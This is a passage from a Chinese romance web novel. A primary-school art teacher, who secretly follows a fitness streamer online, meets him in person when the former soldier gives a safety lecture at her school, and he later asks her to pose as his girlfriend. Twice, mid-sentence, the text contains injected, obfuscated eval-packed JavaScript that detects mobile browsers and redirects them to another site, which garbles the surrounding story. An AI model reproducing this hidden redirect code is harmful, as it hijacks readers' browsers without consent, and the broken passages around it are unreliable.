甚至手指无意间点了发送都没发现。 铁血猛龙:【?】 消息前面没有了红色的感叹号。 相反,却出现了已发送三个小字。 - 晚上洗漱过后,钟柠正刷着视频,小绿书突然提示,你关注的【铁血猛龙】已开启直播。 钟柠兴奋到直接从床上坐了起来。 哇塞塞,消失了这么久,怎么突然直播了? 这场直播虽然是临时开始的,但不得不感叹猛龙的实力,没一会儿评论区就聚集了一帮大黄丫头。 钟柠也顶着【在大润发杀了十年鱼】的马甲混迹其中,跟各位大黄丫头们比起了功力。 猛龙直播前后不到半小时,跟以往不同的是,他不像以前那样专注直播,而是一边做动作,一边看公屏,还会眯着眼仔细看评论。 钟柠有点摸不着头脑? 他在等什么人吗? 下午的时候,钟柠通过江承佑的学籍表,已经确定自己误会了江昱洲,心里有些许的愧疚,也为自己不分青红皂白就拉黑他感到后悔。 想到这儿,她重新登录【离婚带俩娃】的账号,把他从黑名单拉了出来。 看着已关注列表那些熟悉的健身博主,钟柠长舒一口气。 “嗯,还是这个号子看着舒服,幸好没注销。” 重新登上这个号,刷了刷最近几天常看博主的更新,钟柠已经上下眼皮打架,一副昏昏欲睡的模样。 叮—— 一道突然的消息提示音把她的瞌睡虫全部吓跑。 钟柠一双大眼睛在黑暗里瞪的老大。 她一面懊悔为什么自己准备睡觉却没有把手机调静音,一边骂那个大半夜十一点给她发消息的死鬼。 直到她看到了屏幕上的新消息提示。 新消息来自小绿书。 铁血猛龙:【?】 钟柠:??? 靠,你丫大半夜发个问号过来,是不是有病? 钟柠被气到不轻,蹭地一下从床上坐起来,打开了床头灯。 钟柠越想越想不通,捞起手机咔咔发了两个问号过去。 离婚带俩娃:【??】 发完仍嫌不解气,心里早就想好了对策,无论对方再发什么过来,骂人的措辞已经在钟柠的脑海成型。 没想到,对面安静地很,再也没有消息过来。 钟柠重新躺在床上,手机屏幕保持在和铁血猛龙的聊天页面,眼皮已经再次困到打架,还是没等到他回复消息。 就这样迷迷糊糊地睡了一夜。 第二天早晨六点,钟柠突然被噩梦惊醒,第一时间拿起手机去看。 手机屏幕干干净净的,没有任何新消息。 好啊,这个江昱洲,手段不错啊,半夜发个问号过来让我想入非非,自己美美隐身去睡觉了? 此仇不报非君子! - 江昱洲直播结束,把手机扔到茶几上就直接进卧室睡觉了。 在部队的时候,每天看手机的时间都是固定的,所以他对手机的依赖倒没有那么严重。 第二天一大早,他接到冯队长的电话,说是有个紧急任务。 江昱洲简单洗了把脸,开车去了队里。 他火急火燎地赶到冯队办公室,站在那里喘了半分钟。 “冯队,出什么事了,是哪里有险情了吗?” 冯昭被他急匆匆地样子逗笑,“不是不是,没有险情,小江你误会了,也怪我没跟你说清楚,不着急,你先坐下把气喘匀。” 冯昭从办公桌上拿过来一个红头文件递给他看。 “应急局下了文件,给我们分配了任务,到实验小学上一节安全救援课程,我想,你在部队就有很丰富的救援经验,不如把这个任务交给你。” 江昱洲大致浏览了一下文件,抬头问道,“好,冯队,什么时候去,跟实验小学那边联系了吗?” “我跟他们张校长联系过了,明天是周五,下午的时间可以留出来,你今天好好准备一下。” 冯昭把办公桌上的一张便签纸递给他。 “你明天去了跟上面这个号码联系,她负责接待。” 江昱洲接过看了一眼。 上面写着: 180****1456 钟老师 9.第 9 章 江昱洲不敢耽搁,打开电脑,开始着手准备课件。 一直忙到中午,课件准备的差不多,他才打开了手机。 有几条未读消息叮咚叮咚的传了进来。 新消息来自小绿书。 离婚带俩娃:【??】 离婚带俩娃:【???】 离婚带俩娃:【不是,你大半夜发个问号过来什么意思啊?】 离婚带俩娃:【你身材好就可以为所欲为了?】 看着这满屏幕的消息,和对方那卡皮巴拉玩偶头像,江昱洲不禁皱了皱眉,脑海里浮现出钟柠那张娇俏的小脸。 江昱洲懵了几秒,才分辨出这是小绿书上的那个喊了她一个月老公的粉丝,并不是钟柠。 他认真查看了聊天记录,才反应过来,对方将他从黑名单放出来了,所以才会有了这些对话。 他垂下眼打字。 铁血猛龙:【抱歉,昨天晚上无意间发了个问号过去,打扰你了,不好意思。】 铁血猛龙:【这次联系,是有件事想请你帮忙,不知道你方便见一面吗?我就在临川,看你的IP地址,咱们应该离得不远。】 对面的钟柠正是午休时间,她趴在办公桌上昏昏欲睡,看到猛龙发过来的消息,一下子就精神了。 约她见面? 这厮怎么还有跟粉丝约会的癖好啊? 她脑海里瞬间想起曾经在微博上刷到过的无数热搜,某某顶流睡粉被爆,没想到,这种事情居然发生在自己身边。 哎呀不对不对。 钟柠拍了拍自己的脑袋,那可是江昱洲啊,她是知道他皮下真人的,他当了八年兵,是国家严选的退伍军人,怎么可能干出那种事? 这时,脑海里又冒出来另一个声音。 知人知面不知心,你了解他吗? 你怎么知道他不会干这种事? 钟柠去是不可能去的。 去了她不就掉马了吗? 但她必须有所行动,问问他到底想干嘛。 离婚带俩娃:【?见面?我们很熟吗?】 铁血猛龙:【不熟吗?我们联系了那么久,你不是一直喊我……那个吗?】 钟柠:…… 这人怎么这么傻啊? 网络上的话也能信吗? 离婚带俩娃:【你找我什么事啊?说来听听,我考虑一下要不要跟你见面。】 铁血猛龙:【我因为特殊原因,需要在一个月以内找到女朋友,所以我急需一个合适的对象,你又那么的喜欢我,所以我马上就想到了你,我们见面谈谈,你也可以提条件,当然,我们只是协议恋爱,是假的,这些都可以见面细谈。】 钟柠看着对面发过来的一大段文字,秀眉紧紧地蹙了起来。 这个家伙到底是不是成年人啊? 就这么明晃晃地跟一个陌生人说这么隐私的话题? 又想到他当了八年兵,才退伍回来,钟柠又觉得情有可原。 她叹了口气,自言自语道,“哎,你呀,也就是碰上我了,要是碰到个坏人,被人卖了还帮人数钱呢。” 对面见她不回复,又发来一条信息。 铁血猛龙:【怎么样,你考虑一下,我可以给你一笔钱,不会让你吃亏的,还有什么条件,你都可以提。】 离婚带俩娃:【大哥,你知道网络上坏人很多吗?咱俩都不认识,你就让我做你女朋友。】 铁血猛龙:【认识啊,你不是很喜欢我吗?我的每条视频你都评论,还私信我叫我……】 钟柠咔咔咔搜索了几个无知大学生被骗到缅北失联的新闻稿发给了他。 离婚带俩娃:【傻孩子,网络上坏人很多,这种事情,还是找身边的人介绍比较好,比如说同学啊,朋友啊,同事啊,都可以,就是不要找网络上的陌生人。】 钟柠随便搜索了一张男生的图片保存到手机,寸头,圆脸,络腮胡。 离婚带俩娃:【图片.jpg】 离婚带俩娃:【实不相瞒,其实,我是男的,害羞.jpg】 对面再也没有消息发送过来。 钟柠的困意也已经全部被赶走,手机屏幕显示已经下午两点,到了上班时间。 她下午没课,上午的时候,张校长已经分配给她其他的任务。 钟柠除了是学校的美术老师,还同时是学校安全监管会的成员。 明天下午应急局的领导将要在学校大礼堂讲授一堂安全教育公开课,张校长把接待任务交给了她。 “小钟啊,你提前准备一下,明天应急局领导过来的时候会联系你,你做好接待。” 钟柠走出办公室,准备先去大礼堂看看,检查一下多媒体设备和卫生情况。 - 周五下午两点,钟柠在学校大礼堂坐着最后的准备。 大礼堂采用的是阶梯教室形式,一共能容纳五百名学生。 地面和桌面已经全部擦了一遍,电脑和音响也是试了又试,确保没有问题。 主席台上,总共摆了三把椅子,分别放了三张桌牌。 红底黑字书写着:张庆国 ,应急局和逐光救援队。 钟柠站在礼堂门口,不断地看着手机。 到目前为止,还没有任何人联系她。 这么重要的活动,不会改期吧? 下一秒,一直握在手里的手机忽然振动起来。 是一个没有备注的陌生号码。 钟柠没有犹豫,马上接起。 “喂,您好。” “你好,请问是实验小学的钟老师吗?” “我是,您是今天来讲课的领导吧?” “对,我已经到学校门口了,请问大礼堂怎么走?” “大门口右转,穿过操场就可以看到了,有个很大的标志牌。” 钟柠指挥了半天,还是决定亲自过去迎他。 电话没有挂断,她顺着操场旁边的水泥路一直往南走,看见一辆牧马人吉普车正在缓慢行驶。 直觉告诉他,应该就是这辆。 钟柠挥了挥手,切断了通话。 江昱洲把车子停在操场边上,下车,关门,动作干脆利落,一气呵成。 钟柠跟他的距离大概有十几米。 她一开始还有些不确定,刚才听筒里的声音听上去是那么熟悉,因为神情紧张,她没多想,现在看到了真人,也印证了她的猜想。 初秋的阳光依旧灼热,连风都带着股燥意,晒得塑胶跑道上的草皮都打了卷。 江昱洲穿的是逐光救援队的藏蓝色作训服,从肩线往下利落收窄,堪堪勾勒出他宽肩窄腰的倒三角身板。 他步子迈得稳,落地时带着股军人特有的干脆劲儿,长腿交替间,作训裤的裤缝绷得笔直,裤脚裹着作战靴,每一步都踩得扎实。 手臂自然摆动,挽到小臂的袖口下,凸起的腕骨和线条紧实的小臂晃过眼前,指节分明的手半插在战术腰带的扣环旁。 钟柠怔在原地,体内那一小撮不安分的因子逐渐冒了出来,开始在她温柔安静的皮囊之下尽情呐喊。 “好帅啊,不愧啊国家严选。” “这走路姿势,一看就觉得安心和踏实。” “我宣布,我是猛龙的走路粉。” 江昱洲已经走到了钟柠面前。 他微微颔首,露出一个标准的微笑,“钟老师,你好,我是今天来给同学们授课的,逐光救援队副队长,江昱洲。” 他伸出了右手。 他的手掌宽大,手指修长,指腹带着一层薄茧,那是常年训练磨出来的痕迹。 钟柠定了定神,恢复了正常的神情,笑着与他虚虚交握。 只是白嫩的脸颊在阳光的烘烤下,散发着淡淡的红晕。 指尖刚触到他的掌心,一股温柔的糙感便蔓延开来,惊得她指尖微微一颤。 “江队长,好巧啊,又见面了,欢迎您来为我们授课。” 钟柠松了手,做了一个请的手势。 “江队长,这边请。” 从操场边到礼堂门口,大概不到二十米的距离,钟柠在前面引路,走得有些急,然而江昱洲肩宽腿长,很轻松地就做到与她并肩同行。 进入室内,一阵凉意扑面而来,钟柠下意识地摸了摸烫人的脸颊,刚才那种尴尬和灼烧感稍稍得到缓解。 “江队长,设备已经调试好了,您可以提前拷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17455657|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贝一下课件,或者有其他需要准备的,告诉我就可以。” 钟柠打开了多媒体,说话的时候,并没有看着他的眼睛。 江昱洲把公文包放到桌子上,从裤子口袋里拿出来一个小巧的u盘,交给她。 “那就麻烦你了,钟老师。” 钟柠动作很快,把课件拷贝到电脑上,又帮他试了试话筒的音量。 门外忽然想起了叽叽喳喳地说话声。 三、四年级共十个班的小朋友在老师的带领下鱼贯进入礼堂。 后面还跟着下午没课的学校教职工。 空旷寂静的礼堂突然变得人声鼎沸。 两点五十分,张校长陪同应急局张局长缓步进入礼堂,在主席台就坐。 钟柠示意台下学生安静,安全教育课正式开始。 张校长做了简单的介绍。 张局长简单谈了下这次安全教育课的重要性。 接下来,二人下台,把主场交给江昱洲。 钟柠坐在礼堂后面的空位上,跟着学生们一起认真听讲。 江昱洲没有选择坐在台上对着课件照本宣科,而是手持话筒,走下了主席台。 “各位老师,同学们,大家好,我叫江昱洲,我是咱们临川市逐光救援队的, “小朋友们,你们知道救援队是做什么的吗?” 台下顿时响起叽叽喳喳地讨论声。 江昱洲示意大家安静。 他用激光笔点开了课件,简单地介绍了一下逐光救援队的历史由来,接着开始从消防安全,校园欺凌,交通安全能几个方面进行了认真的讲解。 江昱洲讲起课来跟平时有些不一样。 尤其是跟小朋友互动的环节。 他的笑容真诚,有感染力,对于积极回答问题的小朋友,他还准备了棒棒糖作为奖励。 钟柠完全被他的讲课方式所吸引。 周围的几个女老师也在小声讨论着这位江队长。 “他一定当过兵吧,身材好板正。” “长得也很帅啊,身材又结实,比起白白嫩嫩的花美男,还是这种硬帅的更吸引人。” “就是就是,不知道结婚了没?” 两位女老师说了几句,见钟柠没有加入她们的意思,也乖乖闭了嘴。 授课结束。 江昱洲从公文包里拿出来一厚沓校园安全宣传册,抬眼看了看钟柠座位的方向。 她心领神会,起身帮他一起把宣传册发给大家。 发放完毕,江昱洲重新拿起话筒。 “各位老师,同学们,刚才的宣传册希望大家回去好好看一下,最后面有我们救援队的联系方式,有需要的时候,尽管联系我们。” “好,我们今天的课程到此结束,感谢大家的聆听。” 江昱洲站定身体,标标正正的敬了个军礼。 台下顿时响起热烈的掌声。 钟柠也被他的军礼感染到,和大家一起拍得手掌都红了。 老师和同学们离开以后,钟柠留下来做收尾工作。 有些调皮的学生并没有把宣传册带走,而是随手扔在座位上。 江昱洲整理好东西,关闭电脑,见钟柠一个人在忙碌,也主动归来帮忙。 “钟老师,今天谢谢你了。” 钟柠摆摆手,“不用客气,这是我应该做的,还要感谢你来给学生们讲课。” 她把收起来的十几份宣传册递还给他。 “江队长,我送你出去。” 江昱洲抬手看了一下腕表,已经下午五点半,放学时间到了。 钟柠走在前面,把前中后几个吊灯都啪啪地关掉。 “钟老师。” 江昱洲从背后喊了他一声。 “嗯?还有事吗?” 她回头,望向他的脸。 两个人的距离有些近。 男人的神情又恢复了往日的冷肃,脸上没有了刚才与小朋友互动时的笑容。 钟柠能清楚地看到他右眉上的那道浅色的疤痕。 下一秒,一个生硬无比的笑容在江昱洲的脸上绽放。 “钟老师,我想请你吃个饭,不知道,方便吗?” 10.第 10 章 钟柠:【额......啊?】 她有些没反应过来,眼神里满是质疑,身体也跟着后退半步。 江昱洲知道自己太唐突了,赶紧解释。 “钟老师,你别误会,我请你吃饭,一个是相亲那天我中途离开,心里始终过意不去,再一个就是感谢你今天的帮忙,没有你,这场安全课不会这么成功。” “啊,不用不用,你太客气了,这是我的工作,是我应该做的。” 江昱洲第一次主动约女生吃饭,感觉比刚才第一次讲课还要紧张。 他本就不善言辞,这番话也是刚才在脑海里翻来覆去地练习了好几遍才说出口。 就没想过她会拒绝。 因为,被拒绝以后要怎么继续邀请的话,他还没来得及想。 此刻,一阵突然的汗意从后背爬满全身,他抬手在寸头上用力挠了几下。 “那那....上次我放你鸽子确实是我不对。” “你总得给我个弥补的机会。” 说到那次相亲,钟柠想到自己平白冤枉人家,还画了个大黑脸去恶心人,这件事,也是要说清楚的好,免得时间久了造成更大的误会。 她是一个从不内耗的人,有话一般当场就说了,上次实在是时间不允许,这个误会隔了好几天,必须要说开。 “那好吧,其实,我也有话对你说。” “我还要回办公室拿包,你.....你学校门口等我。” “哎,好嘞,你慢慢收拾,不急。” 钟柠锁了门,二人走出大礼堂,朝两个不同的方向走去。 江昱洲把车子开到了大门口不远处的一棵槐树下。 此刻放学时间已过,大部分的学生已经离校,交通已经恢复正常。 过了大概十分钟左右,他从后视镜里看到钟柠正缓步走来。 也许是因为今天有工作任务,她穿的是裤装。 浅蓝色短袖衬衫搭配复古蓝牛仔裤,手肘处挂着一个黑色链条包。 江昱洲下车,快跑两步,打开了副驾驶的车门。 这辆车提了不久,这还是第一次载女生。 钟柠微笑道谢,“坐副驾吗?方便吗?” 江昱洲根本没考虑到那层,“方便啊。” 钟柠上车,关闭车门。 江昱洲没有着急启动车子。 牧马人越野车轿厢宽大,钟柠坐在副驾上,觉得前面再塞一个人完全没问题。 她偏头看了看江昱洲。 随即掐死了自己刚才那个可笑的想法。 他的身躯,放到那里,刚刚好。 副驾上第一次坐了别人,还是女生,江昱洲有些不知所措,双手搓了搓,差点找不到启动键在哪里。 “走啊,去哪吃啊?”还是钟柠先开了口。 江昱洲手忙脚乱地发动了车子,“你说吧,想吃什么?听你的。” 钟柠最怕这个。 她有选择困难症。 “你请客的嘛,你来定,我都行,也没有什么忌口。” 江昱洲当了八年兵,临川发展地早就不是原来的样子,他哪里知道哪个餐厅好吃? “要不,还去上次的拉面馆?” “那天我只吃了一口,就走了,其实,还挺好吃的。” 钟柠:“......” 这人也太会省事了吧? 也许是怕她不同意,江昱洲又补充了一句,“真的好吃,你推荐的好。” 这人真的好呆啊。 钟柠努力憋着笑,“行啊,走吧。” 到饭馆后,江昱洲主动去前台点餐。 除了要了上次的拉面,烤串和凉菜,又加了一盘凉拌牛肉,一盘葱爆羊肉。 钟柠注意到,这次江昱洲给自己点的是大碗的。 都是硬菜啊! 哼哼,小样,露出本来面目了吧。 菜品已经上齐,江昱洲替她拧开青柠汁的盖子,递给她,坐到了对面。 “钟老师,说实话,上次是我第一次相亲,我一点经验也没有,中途接到的电话特别重要,不能耽误,所以才放了你鸽子,我正式向你道歉,对不起。” 看着江昱洲一脸的郑重,眉毛拧着,表情严肃,就差站起来给她敬个礼了。 钟柠赶紧抬手,“你不用这样啊,我知道你肯定有重要的事,我从来都没有怪你,我原谅你了。” 江昱洲这才放下心来,拿起饮料瓶咕咚咕咚喝了几大口。 “其实,我也要向你道歉。”钟柠的声音有点小。 “嗯?为什么这么讲?” 钟柠放下筷子,从包里拿出手机,找到一段视频,递给他看。 “其实,开学第一天我就看到你在学校门口接孩子,那个小男孩跟你长得这么像,我以为是你的孩子。” “我想当然地以为你是已婚有娃的骗婚渣男,答应跟你相亲,就是想当面揭穿你。” “所以,相亲那天我才......把脸弄得那么黑,不好意思啊。” 江昱洲把手机还给她,听着她的说辞,露出一个憨厚的笑容,“呵呵,那是我侄子,我堂哥的孩子,我跟我堂哥长得也有点像。” “嗯,我已经知道了,佑佑现在在我的美术社团上课。” 江昱洲眼眸转了转,心想,果然是她。 教佑佑画卡皮巴拉的钟老师就是她。 看来,他们之间的缘分,真的不浅。 “佑佑的美术老师居然是你啊,那天他画了一个棕色的大耗子拿给我看,说是老师新教的,画的还不错呢。” 噗...... 钟柠听见那个棕色大耗子的说法忍不住笑喷了。 幸亏钟柠动作迅速,她转了方向,喷出来的青柠汁才没落到江昱洲脸上,而是全部洒到了饭馆地面上。 男人赶忙伸手抽了几张纸巾递给她,“你没事吧?” 钟柠被呛得有点狠。 她接过纸巾一边擦嘴,一边咳个不停。 “咳咳……没事……不好意思啊,让你见笑了。” 她侧着身子,右手扶着桌角,一直在不停地咳。 她绑着高高的马尾辫,几捋碎发落下来搭在颈肩。 江昱洲见她咳得有些严重,伸出手臂想去帮她拍拍后背,这个动作有些不妥。 只能一脸焦急地愣在那里。 视线难免被女生散落的发梢和白皙的脖颈吸引。 她的耳朵很小巧,是很明显的反骨耳,薄薄的,在阳光下看像是透明的一样。 耳朵后面长了一颗红色的小痣,被她白嫩的皮肤衬托的尤其明显。 江昱洲盯着看了几秒,没出息地滚了滚喉结。 钟柠终于觉得好点了,站起身取了几张纸巾把地面擦干净,说了声,“抱歉,我去下洗手间。” 她到后面洗手间清洗了一下自己,返回来时,神情已经恢复正常。 江昱洲站了起来,神情有些担心,又有些疑惑,“你还好吗?我...我刚才说了什么,让你咳成这样?” 钟柠重新坐下,有些抱歉地看着他,“你跟你侄子真是不是一家人不进一家门,难怪我会把他误认成你的儿子,这把卡皮巴拉叫做棕色大耗子,全世界估计也就你们爷俩了。” “呵呵,呵呵,原来是这样。”江昱洲有些尴尬地挠了挠脑袋。 “既然你早就知道我是骗婚渣男,那为什么还答应相亲呢?” 听见对方的问题,一抹笑容浮现在钟柠的唇角。 “我当然也是有目的的呀。” “什么目的?” “我的目的就是当众戳穿你,免得更多的姐妹掉入你的陷阱。” 钟柠这句话说得有些义愤填膺,放下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458864|201068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筷子,双手不自觉地掐上了腰身。 江昱洲坐在她的对面,饶有兴味地看着她的一举一动。 总觉得她举手投足透露着稚气的可爱。 “那你为什么又没有揭穿我呢,是我因为我中途走了吗?” 钟柠吃了口面,摇了摇头,“也不全是。” “听你说了你的身世,我觉得你好可怜,父亲早逝,母亲改嫁,娶了媳妇丢下娃,媳妇还跑了,我觉得你真是天底下最惨的人,心一软,又不忍心说你了。” 钟柠的声音越来越小,抬头看着江昱洲的反应。 男人没有开口说话,只是眉毛动了动,仿佛有些疑惑,“就因为这个吗?” 钟柠:“还有就是因为你中途离开,要是待的时间久一点,也许我就说了,我可是一个嫉恶如仇,有仇当场就报了的人。” 江昱洲的眉毛皱得更紧了,“仇?咱俩第一次见面,有什么仇啊?” “你离婚带娃,出来相亲,却不把真相告诉介绍人,你就是骗婚渣男,就是万千少女的仇人啊。” 钟柠昂着一张小脸,口齿清晰,语气里满是愤愤不平。 江昱洲被她这副认真的神情逗笑了,“你人还怪伟大的嘞。” 钟柠:??? 江昱洲笑笑没再说话,继续低头吃面。 他动作快,吃得干净利落,三五下就把一碗面打扫了个干净。 钟柠以前从来没有接触过军人,在对面看得目瞪口呆,都忘记了吃饭。 江昱洲吃完面,抽了张纸巾擦嘴。 “我吃好了,钟老师,你慢慢吃。” “啊?这就吃好啦,那剩下这么多菜,我一个人怎么吃得完啊?” 江昱洲动了动身子,腰背挺得笔直,“没事,你慢慢吃,我等你。” 对面坐着一尊冷脸门神,钟柠这饭吃得实在是没有多香甜,连她最爱吃的烤串也只吃了两口。 “我吃好了,咱们走吧。” 江昱洲明显有些意外,“啊?你吃这么少啊?那上次你......” 他抬手指了指右前方的桌子,比划了两下,复刻了上次相亲钟柠的名场面。 钟柠回头一看,这才发觉,她们坐的正是上次的位置。 她懂了。 上次她从那张桌子前面挪过来的样子,估计要在江昱洲的脑海里铭记一辈子吧。 “嘿嘿,嘿嘿,误会误会。” “我上次是早晨没吃饭,饿极了,就先点了一碗垫垫,本来能快速吃完,不耽误相亲的,没想到碰到个熟人,跟我七拉八扯的,耽误了时间,所以,才被你看到了。” “我没有你认为的那么能吃啊,别瞎想。”钟柠又补了一句,拿起背包就要起身离开,被江昱洲制止了。 “钟老师,先别着急走。” “嗯?还有事啊?”钟柠重新坐了下来。 “嗯,有点事......” 那简单的几个字像是一块石头疙瘩卡在了喉间,江昱洲费了半天劲,脸憋了个通红,都没有讲出来。 钟柠是个急性子。 “什么事啊,你说啊?” “咱俩这才是第二次见面,误会也都说清了,还能有什么事啊?” 钟柠小声度嘟囔着,但却叫江昱洲听了个清清楚楚。 他想,是啊,两人才第二次见面,就提那件事,真的好吗? 他才在她面前解了那个离婚带娃骗婚渣男的误会,现在再开口,难免又被扣上猥琐骚扰男的帽子。 看着江昱洲一副欲言又止的表情,钟柠更急了。 “什么事你倒是说啊,我最烦吞吞吐吐的男人了。” 江昱洲因为紧张,两鬓急出一层汗,他索性站了起来,低着头,像是一个犯了错等待家长批评的孩子。 “钟老师,你能......你能做我女朋友吗?” 11.第 11 章 自从答应爷爷,一个月以内把满意的孙媳妇带回去,江昱洲就夜夜难眠。 他想到的第一个人就是小绿书上的那位疯狂女粉丝。 没想到,他表明心迹后,对方不仅骂了他一顿,还说自己是男的,更发来一张很恶心的男人照片。 江昱洲吃一堑长一智,再也不敢相信网络。 没办法,他只好求姚牧帮忙。 这小子混迹商届多年,颇为圆滑世故,鬼点子肯定比他多。 下班后,江昱洲去了姚牧的健身房。 一楼健身区人头攒动,年轻男女们在机械区挥汗如雨,释放工作的压力。 江昱洲熟门熟路的直接来到二楼老板办公室。 隔着一道门,江昱洲听见几声不太合时宜的嗔骂。 “哎呀你干嘛,外头有人。” “哪里有人?宝贝儿,别挡着,让我亲亲。” 江昱洲听得一阵脸红,正打算后退离开,却不料碰到了走廊里的花架,一盆绿萝落地,发出噹的一声响,在幽静的走廊里显得格外突兀。 他想下楼已是来不及。 “洲哥,你怎么来了?” 姚牧打开门,看到了走廊里江昱洲那高大却又不知所措的背影。 江昱洲回身,微低着眉,有点不敢看他。 “不好意思啊,我没提前打招呼,打扰你们了。” 姚牧搂住女朋友的肩膀,大方地介绍,“没事,洲哥,来给你介绍一下,我老婆朱婷婷。” 江昱洲颔首示意,脸上的热意却丝毫没有消退。 “我先走了,你们聊。” 朱婷婷迈着婀娜的步子离开,经过江昱洲身边,还意味深长地瞄了他一眼,从上到下地看,伸出指尖在他蓬勃的手臂肌肉上戳了戳,嗔笑一声。 “来,洲哥,进来说。” 进入老板办公室,江昱洲坐下,开门见山地把自己的烦恼告诉了他。 “哥们儿,你快给我出出主意,我已经入职逐光救援队了,为了不让老爷子阻拦我的事业,我必须马上给他找到满意的孙媳妇。” 姚牧听完,眉头紧紧地蹙了起来,两条细长的胳膊抱着膝盖,一副很为难的样子。 “你这有点太强人所难了,咱们这个三线小城市,要么就是同学同事,再就是媒人介绍,都是相处一段时间才会提结婚大事。” “相亲认识三个月闪婚的我倒是见过,一个月的,有点强人所难了。” 江昱洲纠正他,“现在都不到一个月,只剩下26天了。” 姚牧:“......” 他起身从冰箱里拿了两罐冰镇可乐,递给江昱洲一罐。 “对了,上次你见的那个小学老师,怎么样了,没听你说后文啊。” 江昱洲低低头,有些难为情,“别提了,我半道有事走了,而且,人家根本没看上我,跟中间人说的是,我长得太凶了,怕我有家暴倾向。” 噗...... 姚牧的可乐喷了一地。 “哈哈哈,你小子也有今天,我就说让你去整整容,把你那道疤弄下去,你就不听,该。” “那是我三等功的见证,我为什么要去整容,别说那没用的,快给我出出主意啊。” 姚牧打开了电脑,朝江昱洲伸伸手,“你有那老师的微信吗?” “有啊。” “来,给我手机。” 姚牧知道江昱洲小绿书账号下面有个疯狂女粉丝,IP地址就是本地,他心里有了主意。 在电脑上噼里啪啦操作了一通,姚牧脸上露出一丝坏笑。 “洲哥,你去请这位钟老师吃个饭。” “为什么?” “为你半道离开,放人家鸽子道歉啊。” 江昱洲考虑了一下,这个理由倒是合理。 “可是,我们的相亲已经结束了,人家明确表示了对我没意思,我干嘛还纠缠不休啊?” “你还想不想一个月之内找到媳妇了?” “想。” “想就照我的指示去做。” 姚牧招招手,示意江昱洲附耳过来。 - “钟老师,你能......你能做我女朋友吗?” 钟柠正坐在对面,手机拿在手里,忽然叮叮响了几下。 是小绿书的消息。 孟雪分享给她几个肌肉男的帖子,那帖子的标题一个比一个生猛。 【宝宝,进来吃饭。】 【就这个体型差爽。】 【我们大女人看了这些才有力气讨生活呀!】 靠,怎么把小号登在手机上了?被江昱洲发现她的马甲就完蛋了! 钟柠根本不敢看,赶紧锁了屏,把手机塞进包里。 她刚才神情过于紧张,根本没听见江昱洲说了什么。 “啊?江队长你刚才说什么?” “不好意思,我刚才走神了,没听清楚。” 江昱洲站在那里,一米九二的大个子,身形挺拔宽阔,比对面的钟柠高了一个头不止。 此刻,却因为刚才那一句话好像瞬间矮了三分。 他拼了全部的勇气才说出来的话,她居然没听到??? 算了算了,他也没有勇气再说第二遍了。 “没什么,钟老师,既然已经吃好了,咱们走吧。” 钟柠拿着包,二人走出拉面馆。 车子从小巷口开出来,驶入主路。 夕阳熔成金色淌过车窗,江昱洲手握方向盘,寸头利落,下颌线绷出冷硬的弧度,晒成蜜色的手臂青筋隐现。 钟柠收回眼神,看向窗外,望着漫天晚霞出神。 车厢内静得出奇,两人各怀心事。 江昱洲懊恼极了。 好不容易说出来的话,她怎么会没听见呢? 在分开之前,他要不要再提第二遍? 车子沿着华岩路一路行驶,下个路口转弯就是钟柠家,再不开口就真的没机会了。 等信号灯的时间,钟柠主动开口指路。 “江队长,右拐,星河湾小区,送我到门口就好。” “好。” 他低低地答应着,脑海里还在天人交战。 车子稳稳地停在路边。 不过是晚上八点钟的光景,马路上嬉闹的人群和小区门口的小贩交相呼应,一片繁闹的夜市景象。 钟柠拿起包准备开门下车。 “江队长,谢谢你送我回来。” “真的不用我送你进去吗?” “不用不用,我还要去水果店帮忙,就在门口。” 钟柠指了指小区大门左侧的宁宁水果店,“你去过的。” 江昱洲怔了一秒。 是啊,那天他去大伯家吃饭,顺便买了俩西瓜,没想到,随便找的一家水果店居然就是钟柠家开的。 他们之间的缘分真是奇妙啊。 眼看着钟柠的手已经伸向门把手,马上就要推门离开,江昱洲抓住了最后的机会。 “钟老师,等一下。” 钟柠闻声停下了动作,本能地回过头来。 “嗯?怎么了吗?” 她看着他。 男人的神情坚毅果敢,眼神里透露出一种让人安心的忠诚。 “钟老师,我有件事想请你帮忙。” 钟柠一听帮忙,紧张的神情瞬间放松下来。 帮忙嘛,肯定是小事情。 而且现在他侄子在自己班上课,肯定是想让她帮忙照顾一下之类的。 钟柠露出笑容,“什么事啊,你说。” “你能帮忙......” 江昱洲说了半截突然停了下来,有些心虚地看着钟柠。 钟柠像是对待班里调皮的小朋友一样,给了他一个安心地眼神,抬手示意他继续说下去。 “帮忙干什么?只要我能做到的。” 江昱洲的右手无意识地搭在方向盘上,突然握了握拳,好像是下了什么重大的决心。 “帮忙跟我.....” 他又开始挠头了。 右手三根手指在头皮上蹭了好几下,唰唰的声音,钟柠听着都觉得疼。 “帮忙跟我.....谈个恋爱。” 他的声音低沉浑厚,语速虽然不快,更平添了几分不容置疑的意味。 “啊?谈谈谈什么?”她低低地重复了一句。 “谈恋爱......” 钟柠听到后倒没多惊讶,毕竟这位猛龙同志在小绿书上已经跟一个陌生网友发出过谈恋爱的申请。 钟柠只是感到意外。 她推荐他去找身边合适的朋友,同学或者同事,没想到,他居然找到自己的头上了。 钟柠就这样怔怔地看着他,陷入了沉思。 是啊,当了八年兵,刚退伍回来,入职的又是几乎全员男士的救援队,哪里有合适的结婚对象呢? 